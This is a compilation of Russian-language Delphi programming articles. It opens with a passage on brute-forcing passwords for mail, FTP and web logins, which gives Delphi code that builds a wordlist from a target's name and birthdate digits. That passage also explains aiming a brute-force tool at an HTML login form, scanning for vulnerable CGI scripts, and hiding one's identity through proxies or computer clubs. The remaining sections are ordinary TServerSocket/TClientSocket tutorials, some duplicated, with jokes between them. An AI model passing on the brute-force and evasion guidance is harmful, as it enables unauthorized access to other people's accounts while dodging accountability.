Предназначен для определения пароля по словарю. Недостатки этого метода я рассмотрел в своей статье Взлом мыла. НО: во-первых не все используют сложные пароли, а во-вторых есть так называемая "Защита от брута", которая перекрывает сервис при определении попытки брутфорса. Иногда такая защита может перекрыть доступ и зарегистрированному пользователю. Как например, в mail.ru. При попытке брутфорса по POP3, даже зарегистрированный пользователь потом не может по POP3 получить свою почту. Приходится получать через бройзер, ну а здесь можно послать письмо с соответствующим скриптом. Или на чате, форуме и т.п. пароль достаточно простой - цифры. Тогда это несколько тысяч или сотен тысяч значений, которые при многопоточном брутфорсе подобрать вполне реально - от часа до суток. В общем, иногда очень полезная вещь. В инете есть очень много разных файлов с паролями, но лучше ими не пользоваться, а формировать самому. Практически у всех есть ICQ. По поиску можно получить имя, дату рождения и т.д. Пусть у нас есть только имя (например Danil :-)). Мы не знаем больше ничего. Но попытаемся попробовать сформировать некоторый файл с паролями. По моим наблюдениям, очень часто указывают пароль как имя+цифры. Например, цифры - день и месяц рождения. Вот небольшая программа на Delphi, которая формирует файл паролей:


 procedure PassCreate;
 const
   name = 'danil';
   file = 'pass.txt';
 
 var
   PassList : TStringList;
   I, J : Integer;
 begin
   PassList:=TStringList.Create;
   PassList.Clear;
   PassList.Add(name);
   // Цикл по месяцу и дате рождения
   for I:=1 to 12 do
     for J:=1 to 31 do
       PassList.Add(name+IntToStr(J)+IntToStr(I));
   PassList.SaveToFile(file);
   PassList.Free;
 end;
 

Немного переделав, можно сделать добавление нулей при значении <10, формировать трех, черырех-значное число случайным образом, поставить цифры вначале и т.д. Можно просто сформировать файл паролей из цифр. Можно добавить стандарты типа qwerty, 1234, 4321, asdf и т.д. В общем, как повезет. С ftp и pop3 брутом надеюсь все понятно. Можно переделать исходники и под TelNet. Рассмотрим HTTP-брутфорс. Например есть такая конструкция проверки пароля:


<form action="cgi-bin/pass.cgi" method=post> 
<b>Авторизация:</b><br><br> 
<b>Имя :</b><input type=text name=name size=40><br>
<b>Пароль:</b><input type=password name=password size=40><br><br>
<input type=submit value="Отправить">
</form>

Мы видим, что скрипт проверки парля находится на www.domain.com/cgi-bin/pass.cgi. Через port-mapper или просмотрев на хтмл, мы видим, что url выглядит так: http://www.domain.com/cgi-bin/pass.cgi?name=NAME&password=PASSWORD. Нам надо перебрать поле PASSWORD. Введем непрвальный пароль и посмотрим ответ сервера. Перейдем на закладку Universal Client, соединимся с www.domain.com и пошлем POST url. Посмотрим ответ сервера. Там будет что-то типа "Password incorrect". При правильном пароле такого наверное не должно быть. Он должен написать что-то типа "Password is incorrect". HTTP-брутфорс в "DScan" допускает использование прокси прямо в программе. Таким образом можно заполнить поля прокси-сервера и сервера для работы, в первом поле отправки поставить http://www.domain.com/cgi-bin/pass.cgi?name=NAME&password=, указать файл паролей, в соответствующем поле указать ответ сервера на неверный пароль и начать сканирование. HTTP-брутфорс можно также использовать для закрытых паролем ресурсов. С помощью port-mapper определить url и поставить в поле "Сообщение при неверном пароле" - 500. Это стандартный ответ web-сервера при недоступном ресурсе. Также его можно использовать как CGI-сканер. Только вместо файла паролей необходимо указать файл, содержащий url к скриптам с ошибками. В первом поле отправки, в случае необходимости нужно поставить "/" (если скрипты в файле не начинаются с "/"). Ответ сервера на несуществующий скрипт - "500" или "404 Not Found" (необходимо сначала посмотреть через универсальный клиент). Таким образом, перебирая запросы к серверу, можно получить список установленных скриптов с ошибками. Список уязвимых скриптов и описание использований уязвимостей, можно взять в интернете на сайтах, посвященных безопасности.

Анонимность

Прокси. Для HTTP-брутфорсера - встроенно в программу. Для остального - надо использовать SOCKS5-прокси. Всю информацию по использованию и настройке можно почитать здесь. Если скорость бесплатных прокси не устраивает, то можно обойтись и без них. Только администраторы могут определить обратный IP-адрес и наказать. Поэтому лучше использовать инет-карты на пару часов или работать с программой в компьютерном клубе, в котором не перекрыты сервером нужные порты.

Может быть в следующей статье я рассмотрю работу с датаграммами, функции sendto/recvto, подделку пакетов, работу с сокетом без connect и т.п.

P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.




Сокеты в Delphi

Данная статья посвящена созданию приложений архитектуры клиент/сервер в Borland Delphi на основе сокетов ("sockets" - гнезда). В отличие от предыдущей статьи на тему сокетов, здесь мы разберем создание серверных приложений.

Следует сразу заметить, что для сосуществования отдельных приложений клиента и сервера не обязательно иметь несколько компьютеров. Достаточно иметь лишь один, на котором Вы одновременно запустите и сервер, и клиент. При этом нужно в качестве имени компьютера, к которому надо подключиться, использовать хост-имя localhost или IP-адрес - 127.0.0.1.

Итак, начнем с теории. Если Вы убежденный практик (и в глаза не можете видеть всяких алгоритмов), то Вам следует пропустить этот раздел.

Алгоритм работы сокетного сервера

Что же позволяет делать сокетный сервер?.. По какому принципу он работает?.. Сервер, основанный на сокетном протоколе, позволяет обслуживать сразу множество клиентов. Причем, ограничение на их количество Вы можете указать сами (или вообще убрать это ограничение, как это сделано по умолчанию). Для каждого подключенного клиента сервер открывает отдельный сокет, по которому Вы можете обмениваться данными с клиентом. Также отличным решением является создание для каждого подключения отдельного процесса (Thread).

Ниже следует примерная схема работы сокетного сервера в Дельфи-приложениях:

Разберем схему подробнее:

  1. Определение св-в Port и ServerType - чтобы к серверу могли нормально подключаться клиенты, нужно, чтобы порт, используемый сервером точно совпадал с портом, используемым клиентом (и наоборот). Свойство ServerType определяет тип подключения (подробнее см.ниже);
  2. Открытие сокета - открытие сокета и указанного порта. Здесь выполняется автоматическое начало ожидания подсоединения клиентов (Listen);
  3. Подключение клиента и обмен данными с ним - здесь подключается клиент и идет обмен данными с ним. Подробней об этом этапе можно узнать ниже в этой статье и в статье про сокеты (клиентская часть);
  4. Отключение клиента - Здесь клиент отключается и закрывается его сокетное соединение с сервером;
  5. Закрытие сервера и сокета - По команде администратора сервер завершает свою работу, закрывая все открытые сокетные каналы и прекращая ожидание подключений клиентов.
  6. Следует заметить, что пункты 3-4 повторяются многократно, т.е. эти пункты выполняются для каждого нового подключения клиента.

Примечание:

Документации по сокетам в Дельфи на данный момент очень мало, так что, если Вы хотите максимально глубоко изучить эту тему, то советую просмотреть литературу и электронную документацию по Unix/Linux-системам - там очень хорошо описана теория работы с сокетами. Кроме того, для этих ОС есть множество примеров сокетных приложений (правда, в основном на C/C++ и Perl).

Краткое описание компонента TServerSocket

Здесь мы познакомимся с основными свойствами, методами и событиями компонента TServerSocket.

Свойства Методы События:

Socket
класс TServerWinSocket, через который Вы имеете доступ к открытым сокетным каналам. Далее мы рассмотрим это свойство более подробно, т.к. оно, собственно и есть одно из главных. Тип: TServerWinSocket;
ServerType
тип сервера. Может принимать одно из двух значений: stNonBlocking - синхронная работа с клиентскими сокетами. При таком типе сервера Вы можете работать с клиентами через события OnClientRead и OnClientWrite. stThreadBlocking - асинхронный тип. Для каждого клиентского сокетного канала создается отдельный процесс (Thread). Тип: TServerType;
ThreadCacheSize
количество клиентских процессов (Thread), которые будут кэшироваться сервером. Здесь необходимо подбирать среднее значение в зависимости от загруженности Вашего сервера. Кэширование происходит для того, чтобы не создавать каждый раз отдельный процесс и не убивать закрытый сокет, а оставить их для дальнейшего использования. Тип: Integer;
Active
показатель того, активен в данных момент сервер, или нет. Т.е., фактически, значение True указывает на то, что сервер работает и готов к приему клиентов, а False - сервер выключен. Чтобы запустить сервер, нужно просто присвоить этому свойству значение True. Тип: Boolean;
Port
номер порта для установления соединений с клиентами. Порт у сервера и у клиентов должны быть одинаковыми. Рекомендуются значения от 1025 до 65535, т.к. от 1 до 1024 - могут быть заняты системой. Тип: Integer;
Service
строка, определяющая службу (ftp, http, pop, и т.д.), порт которой будет использован. Это своеобразный справочник соответствия номеров портов различным стандартным протоколам. Тип: string;
Open
Запускает сервер. По сути, эта команда идентична присвоению значения True свойству Active;
Close
Останавливает сервер. По сути, эта команда идентична присвоению значения False свойству Active.
OnClientConnect
возникает, когда клиент установил сокетное соединение и ждет ответа сервера (OnAccept);
OnClientDisconnect
возникает, когда клиент отсоединился от сокетного канала;
OnClientError
возникает, когда текущая операция завершилась неудачно, т.е. произошла ошибка;
OnClientRead
возникает, когда клиент передал берверу какие-либо данные. Доступ к этим данным можно получить через пеаедаваемый параметр Socket: TCustomWinSocket;
OnClientWrite
возникает, когда сервер может отправлять данные клиенту по сокету;
OnGetSocket
в обработчике этого события Вы можете отредактировать параметр ClientSocket;
OnGetThread
в обработчике этого события Вы можете определить уникальный процесс (Thread) для каждого отдельного клиентского канала, присвоив параметру SocketThread нужную подзадачу TServerClientThread;
OnThreadStart, OnThreadEnd
возникает, когда подзадача (процесс, Thread) запускается или останавливается, соответственно;
OnAccept
возникает, когда сервер принимает клиента или отказывает ему в соединении;
OnListen
возникает, когда сервер переходит в режим ожидания подсоединения клиентов.

TServerSocket.Socket (TServerWinSocket)

Итак, как же сервер может отсылать данные клиенту? А принимать данные? В основном, если Вы работаете через события OnClientRead и OnClientWrite, то общаться с клиентом можно через параметр ClientSocket (TCustomWinSocket). Про работу с этим классом можно прочитать в статье про клиентские сокеты, т.к. отправка/посылка данных через этот класс аналогична - методы (Send/Receive)(Text,Buffer,Stream). Также и при работе с TServerSocket.Socket. Однако, т.к. здесь мы рассматриваем сервер, то следует выделить некоторые полезные свойства и методы:

ActiveConnections (Integer)
количество подключенных клиентов;
ActiveThreads (Integеr)
количество работающих процессов; Connections (array) - массив, состоящий из отдельных классов TClientWinSocket для каждого подключенного клиента. Например, такая команда:


 ServerSocket1.Socket.Connections[0].SendText('Hello!');
 

отсылает первому подключенному клиенту сообщение 'Hello!'. Команды для работы с элементами этого массива - также (Send/Receive)(Text,Buffer, Stream);
IdleThreads (Integer)
количество свободных процессов. Такие процессы кэшируются сервером (см. ThreadCacheSize);
LocalAddress, LocalHost, LocalPort
соответственно - локальный IP-адрес, хост-имя, порт;
RemoteAddress, RemoteHost, RemotePort
соответственно - удаленный IP-адрес, хост-имя, порт;
Методы Lock и UnLock
соответственно, блокировка и разблокировка сокета.

Практика и примеры

А теперь рассмотрим вышеприведенное на конкретном примере. Скачать уже готовые исходники можно, щелкнув здесь.

Итак, рассмотрим очень неплохой пример работы с TServerSocket (этот пример - наиболее наглядное пособие для изучения этого компонента). В приведенных ниже исходниках демонстрируется протоколирование всех важных событий сервера, плюс возможность принимать и отсылать текстовые сообщения:

Пример 1. Протоколирование и изучение работы сервера, посылка/прием сообщений через сокеты.


 {... Здесь идет заголовок файла и определение
 формы TForm1 и ее экземпляра Form1}
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   {Определяем порт и запускаем сервер}
   ServerSocket1.Port := 1025;
   {Метод Insert вставляет строку в массив в указанную позицию}
   Memo2.Lines.Insert(0, 'Server starting');
   ServerSocket1.Open;
 end;
 
 procedure TForm1.Button2Click(Sender: TObject);
 begin
   {Останавливаем сервер}
   ServerSocket1.Active := False;
   Memo2.Lines.Insert(0, 'Server stopped');
 end;
 
 procedure TForm1.ServerSocket1Listen(Sender: TObject;
           Socket: TCustomWinSocket);
 begin
   {Здесь сервер "прослушивает" сокет на наличие клиентов}
   Memo2.Lines.Insert(0, 'Listening on port ' + IntToStr(ServerSocket1.Port));
 end;
 
 procedure TForm1.ServerSocket1Accept(Sender: TObject;
           Socket: TCustomWinSocket);
 begin
   {Здесь сервер принимает клиента}
   Memo2.Lines.Insert(0, 'Client connection accepted');
 end;
 
 procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
           Socket: TCustomWinSocket);
 begin
   {Здесь клиент подсоединяется}
   Memo2.Lines.Insert(0, 'Client connected');
 end;
 
 procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
           Socket: TCustomWinSocket);
 begin
   {Здесь клиент отсоединяется}
   Memo2.Lines.Insert(0, 'Client disconnected');
 end;
 
 procedure TForm1.ServerSocket1ClientError(Sender: TObject;
           Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
           var ErrorCode: Integer);
 begin
   {Произошла ошибка - выводим ее код}
   Memo2.Lines.Insert(0, 'Client error. Code = ' + IntToStr(ErrorCode));
 end;
 
 procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
           Socket: TCustomWinSocket);
 begin
   {От клиента получено сообщение - выводим его в Memo1}
   Memo2.Lines.Insert(0, 'Message received from client');
   Memo1.Lines.Insert(0, '> ' + Socket.ReceiveText);
 end;
 
 procedure TForm1.ServerSocket1ClientWrite(Sender: TObject;
           Socket: TCustomWinSocket);
 begin
   {Теперь можно слать данные в сокет}
   Memo2.Lines.Insert(0, 'Now can write to socket');
 end;
 
 procedure TForm1.ServerSocket1GetSocket(Sender: TObject; Socket: Integer;
           var ClientSocket: TServerClientWinSocket);
 begin
   Memo2.Lines.Insert(0, 'Get socket');
 end;
 
 procedure TForm1.ServerSocket1GetThread(Sender: TObject;
           ClientSocket: TServerClientWinSocket;
           var SocketThread: TServerClientThread);
 begin
   Memo2.Lines.Insert(0, 'Get Thread');
 end;
 
 procedure TForm1.ServerSocket1ThreadEnd(Sender: TObject;
           Thread: TServerClientThread);
 begin
   Memo2.Lines.Insert(0, 'Thread end');
 end;
 
 procedure TForm1.ServerSocket1ThreadStart(Sender: TObject;
           Thread: TServerClientThread);
 begin
   Memo2.Lines.Insert(0, 'Thread start');
 end;
 
 procedure TForm1.Button3Click(Sender: TObject);
           var i: Integer;
 begin
   {Посылаем ВСЕМ клиентам сообщение из Edit1}
   for i := 0 to ServerSocket1.Socket.ActiveConnections - 1 do
     ServerSocket1.Socket.Connections[i].SendText(Edit1.Text);
   Memo1.Lines.Insert(0, '< ' + Edit1.Text);
 end;
 

Далее мы будем рассматривать уже не примеры, а приемы работы с TServerSocket.

Приемы работы с TServerSocket (и просто с сокетами)

Хранение уникальных данных для каждого клиента.

Наверняка, если Ваш сервер будет обслуживать множество клиентов, то Вам потребуется хранить какую-либо информацию для каждого клиента (имя, и др.), причем с привязкой этой информации к сокету данного клиента. В некоторых случаях делать все это вручную (привязка к handle сокета, массивы клиентов, и т.д.) не очень удобно. Поэтому для каждого сокета существует специальное свойство - Data. На самом деле, Data - это всего-навсего указатель. Поэтому, записывая данные клиента в это свойство будьте внимательны и следуйте правилам работы с указателями (выделение памяти, определение типа, и т.д.)!

Посылка файлов через сокет

Здесь мы рассмотрим посылку файлов через сокет (по просьбе JINX-а) :-). Итак, как же послать файл по сокету? Очень просто! Достаточно лишь открыть этот файл как файловый поток (TFileStream) и отправить его через сокет (SendStream)! Рассмотрим это на примере:


 {Посылка файла через сокет}
 procedure SendFileBySocket(filename: string);
           var srcfile: TFileStream;
 begin
   {Открываем файл filename}
   srcfile := TFileStream.Create(filename, fmOpenRead);
   {Посылаем его первому подключенному клиенту}
   ServerSocket1.Socket.Connections[0].SendStream(srcfile);
   {Закрываем файл}
   srcfile.Free;
 end;
 

Нужно заметить, что метод SendStream используется не только сервером, но и клиентом (ClientSocket1.Socket.SendStream(srcfile))

Почему несколько блоков при передаче могут обьединяться в один

Это тоже по просьбе JINX-а :-). За это ему огромное спасибо! Итак, во-первых, надо заметить, что посылаемые через сокет данные могут не только объединяться в один блок, но и разъединяться по нескольким блокам. Дело в том, что сокет - обычный поток, но в отличие, скажем, от файлового (TFileStream), он передает данные медленнее (сами понимаете - сеть, ограниченный трафик, и т.д.). Именно поэтому две команды:


 ServerSocket1.Socket.Connections[0].SendText('Hello, ');
 ServerSocket1.Socket.Connections[0].SendText('world!');
 

совершенно идентичны одной команде:


 ServerSocket1.Socket.Connections[0].SendText('Hello, world!');
 

И именно поэтому, если Вы отправите через сокет файл, скажем, в 100 Кб, то тому, кому Вы посылали этот блок, придет несколько блоков с размерами, которые зависят от трафика и загруженности линии. Причем, размеры не обязательно будут одинаковыми. Отсюда следует, что для того, чтобы принять файл или любые другие данные большого размера, Вам следует принимать блоки данных, а затем объединять их в одно целое (и сохранять, например, в файл). Отличным решением данной задачи является тот же файловый поток - TFileStream (либо поток в памяти - TMemoryStream). Принимать частички данных из сокета можно через событие OnRead (OnClientRead), используя универсальный метод ReceiveBuf. Определить размер полученного блока можно методом ReceiveLength. Также можно воспользоваться сокетным потоком (см. статью про TClientSocket). А вот и небольшой примерчик (приблизительный):


 {Прием файла через сокет}
 procedure TForm1.ClientSocket1Read(Sender: TObject;
           Socket: TCustomWinSocket);
 var
   l: Integer;
   buf: PChar;
   src: TFileStream;
 begin
   {Записываем в l размер полученного блока}
   l := Socket.ReceiveLength;
   {Заказываем память для буфера}
   GetMem(buf,l+1);
   {Записываем в буфер полученный блок}
   Socket.ReceiveBuf(buf,l);
   {Открываем временный файл для записи}
   src := TFileStream.Create('myfile.tmp',fmOpenReadWrite);
   {Ставим позицию в конец файла}
   src.Seek(0,soFromEnd);
   {Записываем буфер в файл}
   src.WriteBuffer(buf,l);
   {Закрываем файл}
   src.Free;
   {Освобождаем память}
   FreeMem(buf);
 end;
 

Как следить за сокетом

Это вопрос сложный и требует долгого рассмотрения. Пока лишь замечу, что созданный Вашей программой сокет Вы можете промониторить всегда :-). Сокеты (как и большинство объектов в Windows) имеют свой дескриптор (handle), записанный в свойстве Handle. Так вот, узнав этот дескриптор Вы свободно сможете управлять любым сокетом (даже созданным чужой программой)! Однако, скорее всего, чтобы следить за чужим сокетом, Вам придется использовать исключительно функции WinAPI Sockets.

Эпилог

В этой статье отображены основные приемы работы с компонентом TServerSocket в Дельфи и несколько общих приемов для обмена данными по сокетам. Если у Вас есть вопросы - скидывайте их мне на E-mail: snick@mailru.com, а еще лучше - пишите в конференции этого сайта (Delphi. Общие вопросы), чтобы и другие пользователи смогли увидеть Ваш вопрос и попытаться на него ответить!




TServerSocket и TClientSocket без scktsrvr.exe отказываются работать

Встpечаются девушка и молодой человек, знакомые лишь виртуально. Молодой человек, смотpя на девушку:
- Так вот почему с тобой было так интеpесно говоpить - все остальное с тобой делать пpосто беcполезно.

Вопрос: У меня ни TServerSocket, ни TClientSocket без scktsrvr.exe отказываются работать! Слышал, что для решения проблемы можно что-то откуда-то вырезать и вклеить в программу.

Установите этот компонент:


 unit Sck;
 
 interface
 
 uses
   Classes, SysUtils, Windows, Messages,
   ScktComp, SConnect, ActiveX, MidConst;
 
 type
   TNotifyClient = procedure (Sender: TObject; Thread: TServerClientThread) of
 object;
 
 { TSocketDispatcher }
   TSocketDispatcher = class;
 
 { TSocketDispatcherThread }
   TSocketDispatcherThread = class(TServerClientThread, ISendDataBlock)
   private
     FRefCount: Integer;
     FInterpreter: TDataBlockInterpreter;
     FTransport: ITransport;
     FInterceptGUID: string;
     FLastActivity: TDateTime;
     FTimeout: TDateTime;
     FRegisteredOnly: Boolean;
   protected
     SocketDispatcher: TSocketDispatcher;
     function CreateServerTransport: ITransport; virtual;
     procedure AddClient;
     procedure RemoveClient;
     { IUnknown }
     function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
     function _AddRef: Integer; stdcall;
     function _Release: Integer; stdcall;
     { ISendDataBlock }
     function Send(const Data: IDataBlock; WaitForResult: Boolean): IDataBlock;
 stdcall;
   public
     constructor Create(AOwner: TSocketDispatcher; CreateSuspended: Boolean;
       ASocket: TServerClientWinSocket; const InterceptGUID: string;
       Timeout: Integer; RegisteredOnly: Boolean);
     procedure ClientExecute; override;
     property LastActivity: TDateTime read FLastActivity;
   end;
 
 { TSocketDispatcher }
   TSocketDispatcher = class(TServerSocket)
   private
     FInterceptGUID: string;
     FTimeout: Integer;
     FRegisteredOnly: Boolean;
     FOnRemoveClient: TNotifyClient;
     FOnAddClient: TNotifyClient;
     procedure GetThread(Sender: TObject; ClientSocket: TServerClientWinSocket;
       var SocketThread: TServerClientThread);
   published
     constructor Create(AOwner: TComponent); override;
     property InterceptGUID: string read FInterceptGUID write FInterceptGUID;
     property Timeout: Integer read FTimeout write FTimeout;
     property RegisteredOnly: Boolean read FRegisteredOnly write
 FRegisteredOnly;
     property OnAddClient: TNotifyClient read FOnAddClient write FOnAddClient;
     property OnRemoveClient: TNotifyClient read FOnRemoveClient write
 FOnRemoveClient;
   end;
 
 procedure Register;
 
 implementation
 
 procedure Register;
 begin
   RegisterComponents('Midas', [TSocketDispatcher]);
 end;
 
 { TSocketDispatcherThread }
 
 constructor TSocketDispatcherThread.Create(AOwner: TSocketDispatcher;
   CreateSuspended: Boolean; ASocket: TServerClientWinSocket;
   const InterceptGUID: string; Timeout: Integer; RegisteredOnly: Boolean);
 begin
   SocketDispatcher := AOwner;
   FInterceptGUID := InterceptGUID;
   FTimeout := EncodeTime(Timeout div 60, Timeout mod 60, 0, 0);
   FLastActivity := Now;
   FRegisteredOnly := RegisteredOnly;
   inherited Create(CreateSuspended, ASocket);
 end;
 
 function TSocketDispatcherThread.CreateServerTransport: ITransport;
 var
   SocketTransport: TSocketTransport;
 begin
   SocketTransport := TSocketTransport.Create;
   SocketTransport.Socket := ClientSocket;
   SocketTransport.InterceptGUID := FInterceptGUID;
   Result := SocketTransport as ITransport;
 end;
 
 procedure TSocketDispatcherThread.AddClient;
 begin
   with SocketDispatcher do
     if Assigned(OnAddClient) then OnAddClient(SocketDispatcher, Self);
 end;
 
 procedure TSocketDispatcherThread.RemoveClient;
 begin
   with SocketDispatcher do
     if Assigned(OnRemoveClient) then OnRemoveClient(SocketDispatcher, Self);
 end;
 
 { TSocketDispatcherThread.IUnknown }
 
 function TSocketDispatcherThread.QueryInterface(const IID: TGUID;
   out Obj): HResult;
 begin
   if GetInterface(IID, Obj) then Result := 0 else Result := E_NOINTERFACE;
 end;
 
 function TSocketDispatcherThread._AddRef: Integer;
 begin
   Inc(FRefCount);
   Result := FRefCount;
 end;
 
 function TSocketDispatcherThread._Release: Integer;
 begin
   Dec(FRefCount);
   Result := FRefCount;
 end;
 
 { TSocketDispatcherThread.ISendDataBlock }
 
 function TSocketDispatcherThread.Send(const Data: IDataBlock;
   WaitForResult: Boolean): IDataBlock;
 begin
   FTransport.Send(Data);
   if WaitForResult then
     while True do
     begin
       Result := FTransport.Receive(True, 0);
       if Result = nil then break;
       if (Result.Signature and ResultSig) = ResultSig then
         break else
         FInterpreter.InterpretData(Result);
     end;
 end;
 
 procedure TSocketDispatcherThread.ClientExecute;
 var
   Data: IDataBlock;
   msg: TMsg;
   Obj: ISendDataBlock;
   Event: THandle;
   WaitTime: DWord;
 begin
   CoInitialize(nil);
   try
     Synchronize(AddClient);
     FTransport := CreateServerTransport;
     try
       Event := FTransport.GetWaitEvent;
       PeekMessage(msg, 0, WM_USER, WM_USER, PM_NOREMOVE);
       GetInterface(ISendDataBlock, Obj);
       if FRegisteredOnly then
         FInterpreter := TDataBlockInterpreter.Create(Obj, SSockets) else
         FInterpreter := TDataBlockInterpreter.Create(Obj, '');
       try
         Obj := nil;
         if FTimeout = 0 then
           WaitTime := INFINITE else
           WaitTime := 60000;
         while not Terminated and FTransport.Connected do
         try
           case MsgWaitForMultipleObjects(1, Event, False, WaitTime,
            QS_ALLEVENTS) of
             WAIT_OBJECT_0:
             begin
               WSAResetEvent(Event);
               Data := FTransport.Receive(False, 0);
               if Assigned(Data) then
               begin
                 FLastActivity := Now;
                 FInterpreter.InterpretData(Data);
                 Data := nil;
                 FLastActivity := Now;
               end;
             end;
             WAIT_OBJECT_0 + 1:
               while PeekMessage(msg, 0, 0, 0, PM_REMOVE) do
                 DispatchMessage(msg);
             WAIT_TIMEOUT:
               if (FTimeout > 0) and ((Now - FLastActivity) > FTimeout) then
                 FTransport.Connected := False;
           end;
         except
           FTransport.Connected := False;
         end;
       finally
         FInterpreter.Free;
         FInterpreter := nil;
       end;
     finally
       FTransport := nil;
     end;
   finally
     CoUninitialize;
     Synchronize(RemoveClient);
   end;
 end;
 
 
 { TSocketDispatcher }
 
 constructor TSocketDispatcher.Create(AOwner: TComponent);
 begin
   inherited Create(AOwner);
   ServerType := stThreadBlocking;
   OnGetThread := GetThread;
 end;
 
 procedure TSocketDispatcher.GetThread(Sender: TObject;
   ClientSocket: TServerClientWinSocket;
   var SocketThread: TServerClientThread);
 begin
   SocketThread := TSocketDispatcherThread.Create(Self, False, ClientSocket,
     InterceptGUID, Timeout, RegisteredOnly);
 end;
 
 end.
 
 




Простой способ отправки файлов при помощи TClientSocket и TServerSocket

Диктор новостей: "...Из Баку сообщают о разработке нового стандарта для локальных компьютерных сетей - Azernet".


 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
   Dialogs, ScktComp, ExtCtrls, StdCtrls;
 
 type
   TForm1 = class(TForm)
     Image1: TImage;
     Image2: TImage;
     ClientSocket1: TClientSocket;
     ServerSocket1: TServerSocket;
     Button1: TButton;
     procedure Image1Click(Sender: TObject);
     procedure FormCreate(Sender: TObject);
     procedure ClientSocket1Connect(Sender: TObject;
     Socket: TCustomWinSocket);
     procedure ServerSocket1ClientRead(Sender: TObject;
     Socket: TCustomWinSocket);
     procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
   private
     { Private declarations }
     Reciving: boolean;
     DataSize: integer;
     Data: TMemoryStream;
   public
     { Public declarations }
 end;
 
 var
   Form1: TForm1;
 
 implementation
 {$R *.DFM}
 
 procedure TForm1.Image1Click(Sender: TObject);
 begin
   // Это процедура для открытия сокета на ПРИЁМ (RECEIVING).
   // Button1.Click is this procedure as well.
   ClientSocket1.Active:= true;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   // Открытие ОТПРАВЛЯЮЩЕГО (SENDING) сокета.
   ServerSocket1.Active:= true;
 end;
 
 procedure TForm1.ClientSocket1Connect(Sender: TObject;
 Socket: TCustomWinSocket);
 begin
   // Посылаем команду для начала передачи файла.
   Socket.SendText('send');
 end;
 
 procedure TForm1.ClientSocket1Read(Sender: TObject;
 Socket: TCustomWinSocket);
 var
   s, sl: string;
 begin
   s:= Socket.ReceiveText;
   // Если мы не в режиме приёма:
   if not Reciving then
   begin
     // Теперь нам необходимо получить длину потока данных.
     SetLength(sl, StrLen(PChar(s))+1); // +1 for the null terminator
     StrLCopy(@sl[1], PChar(s), Length(sl)-1);
     DataSize:= StrToInt(sl);
     Data:= TMemoryStream.Create;
     // Удаляем информацию о размере из данных.
     Delete(s, 1, Length(sl));
     Reciving:= true;
   end;
   // Сохраняем данные в файл, до тех пор, пока не получим все данные.
   try
     Data.write(s[1], length(s));
     if Data.Size = DataSize then
     begin
       Data.Position:= 0;
       Image2.Picture.Bitmap.LoadFromStream(Data);
       Data.Free;
       Reciving:= false;
       Socket.Close;
     end;
   except
     Data.Free;
   end;
 end;
 
 procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
 Socket: TCustomWinSocket);
 var
   ms: TMemoryStream;
 begin
   // Клиент получает команду на передачу файла.
   if Socket.ReceiveText = 'send' then
   begin
     ms:= TMemoryStream.Create;
     try
       // Получаем данные на передачу.
       Image1.Picture.Bitmap.SaveToStream(ms);
       ms.Position:= 0;
       // Добавляем длину данных, чтобы клиент знал,
       // сколько данных будет передано
       // Добавляем #0 , чтобы можно было определить,
       // где заканчивается информация о размере.
       Socket.SendText(IntToStr(ms.Size) + #0);
       // Посылаем его.
       Socket.SendStream(ms);
     except
       // Итак, осталось освободить поток, если что-то не так.
       ms.Free;
     end;
   end;
 end;
 
 end.
 




Посылка и прием сообщений через сокеты

Интеpнетчик возвpащается поздно домой. Его встpечают двое гpомил. Один из них достает нож и говоpит:
- Гони деньги!
"Пpовайдеpы",- подумал интеpнетчик.


     {... Здесь идет заголовок файла и определение
     формы TForm1 и ее экземпляра Form1}
 
     procedure TForm1.Button1Click(Sender: TObject);
     begin
       {Определяем порт и запускаем сервер}
       ServerSocket1.Port := 1025;
       {Метод Insert вставляет строку в массив в указанную позицию}
       Memo2.Lines.Insert(0,'Server starting');
       ServerSocket1.Open;
     end;
 
     procedure TForm1.Button2Click(Sender: TObject);
     begin
       {Останавливаем сервер}
       ServerSocket1.Active := False;
       Memo2.Lines.Insert(0,'Server stopped');
     end;
 
     procedure TForm1.ServerSocket1Listen(Sender: TObject;
       Socket: TCustomWinSocket);
     begin
       {Здесь сервер "прослушивает" сокет на наличие клиентов}
       Memo2.Lines.Insert(0,'Listening on port '+IntToStr(ServerSocket1.Port));
     end;
 
     procedure TForm1.ServerSocket1Accept(Sender: TObject;
       Socket: TCustomWinSocket);
     begin
       {Здесь сервер принимает клиента}
       Memo2.Lines.Insert(0,'Client connection accepted');
     end;
 
     procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
       Socket: TCustomWinSocket);
     begin
       {Здесь клиент подсоединяется}
       Memo2.Lines.Insert(0,'Client connected');
     end;
 
     procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
       Socket: TCustomWinSocket);
     begin
       {Здесь клиент отсоединяется}
       Memo2.Lines.Insert(0,'Client disconnected');
     end;
 
     procedure TForm1.ServerSocket1ClientError(Sender: TObject;
       Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
       var ErrorCode: Integer);
     begin
       {Произошла ошибка - выводим ее код}
       Memo2.Lines.Insert(0,'Client error. Code = '+IntToStr(ErrorCode));
     end;
 
     procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
       Socket: TCustomWinSocket);
     begin
       {От клиента получено сообщение - выводим его в Memo1}
       Memo2.Lines.Insert(0,'Message received from client');
       Memo1.Lines.Insert(0,'> '+Socket.ReceiveText);
     end;
 
     procedure TForm1.ServerSocket1ClientWrite(Sender: TObject;
       Socket: TCustomWinSocket);
     begin
       {Теперь можно слать данные в сокет}
       Memo2.Lines.Insert(0,'Now can write to socket');
     end;
 
     procedure TForm1.ServerSocket1GetSocket(Sender: TObject; Socket: Integer;
       var ClientSocket: TServerClientWinSocket);
     begin
       Memo2.Lines.Insert(0,'Get socket');
     end;
 
     procedure TForm1.ServerSocket1GetThread(Sender: TObject;
       ClientSocket: TServerClientWinSocket;
       var SocketThread: TServerClientThread);
     begin
